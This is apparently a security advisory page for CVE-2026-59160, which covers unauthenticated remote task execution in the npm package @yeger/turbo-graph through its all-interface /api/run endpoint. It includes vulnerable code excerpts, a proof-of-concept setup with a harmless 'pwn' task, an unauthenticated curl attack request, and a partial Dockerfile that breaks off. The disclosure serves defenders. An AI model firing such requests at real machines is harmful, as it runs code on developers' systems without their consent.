high

CVE-2026-59160

npm · @yeger/turbo-graph

Summary

@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run

Severity
high
CVSS
8.8
CWE
CWE-306
Also known as
GHSA-2r5q-h53f-9rp3
Published
2026-09-09
Updated
2026-09-09

Advisory details

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

Summary

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1 — Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

// packages/turbo-graph/src/index.ts
19    const hostname = 'localhost'  // used only for console URL, not for listen()
...
44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind
45          const url = `http://${hostname}:${options.port}`

Flaw 2 — Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

// packages/turbo-graph-ui/app/api/run/route.ts
156  export function GET(req: NextRequest) {
157    const url = new URL(req.url)
159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source
171    const filter = url.searchParams.get('filter') ?? undefined
176    return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
20    const args: string[] = ['run', ...tasks]              // tasks inserted directly
25          args.push(`--filter=${trimmed}`)
31      args.push('--force')
34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                                                            // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
  "private": true,
  "scripts": {
    "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
  },
  "devDependencies": {
    "@yeger/turbo-graph": "2.8.8",
    "turbo": "^2.0.0"
  }
}
JSON

cat > turbo.json <<'JSON'
{
  "tasks": {
    "pwn": { "cache": false }
  }
}
JSON

npm install
npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

# Replace <victim-ip> with the victim machine's LAN IP address.
curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

Expected outcome:

Containerized reproduction (automated):

The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:

docker build -t vuln-001-poc <vuln-001-dir>
docker run --rm vuln-001-poc

The container confirmed all three evidence points during Phase 2 dynamic testing:

  1. ss -tlnp sport=:29312LISTEN 0 511 *:29312 (all-interface binding confirmed)
  2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required)
  3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.

Depending on the tasks configured in the victim's turbo.json, the impact includes:

The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/turbo-graph@2.8.8 in a shared or corporate network environment are affected.

Reproduction artifacts

Dockerfile

# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)
#
# Layout:
#   /victim/          - simulated developer workspace that runs turbo-graph
#   /victim/pwn.js    - the task payload executed when the attacker fires /api/run
#   /poc.py           - attacker script: sends unauthenticated GET /api/run?tasks=pwn
#
# Build:
#   docker build -t vuln-001-poc <vuln-001-dir>
#
# Run:
#   docker run --rm vuln-001-poc

FROM node:20-slim

# System tools:
#   python3    - runs poc.py
#   iproute2   - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && \
    apt-get install -y --no-install-recommends python3 iproute2 && \
    rm -rf /var/lib/apt/lists/*

# ---------------------------------------------------------------------------
# Victim workspace: a minimal Turborepo project that a developer might run
# ---------------------------------------------------------------------------
WORKDIR /victim

# package.json: defines the 'pwn' task script and package dependencies.
# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).
# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
    > /victim/package.json

# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
    > /victim/turbo.json

# pwn.js: task payload — writes a timestamped proof file and logs to stdout.
# When an attacker sends GET /api/run?task

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.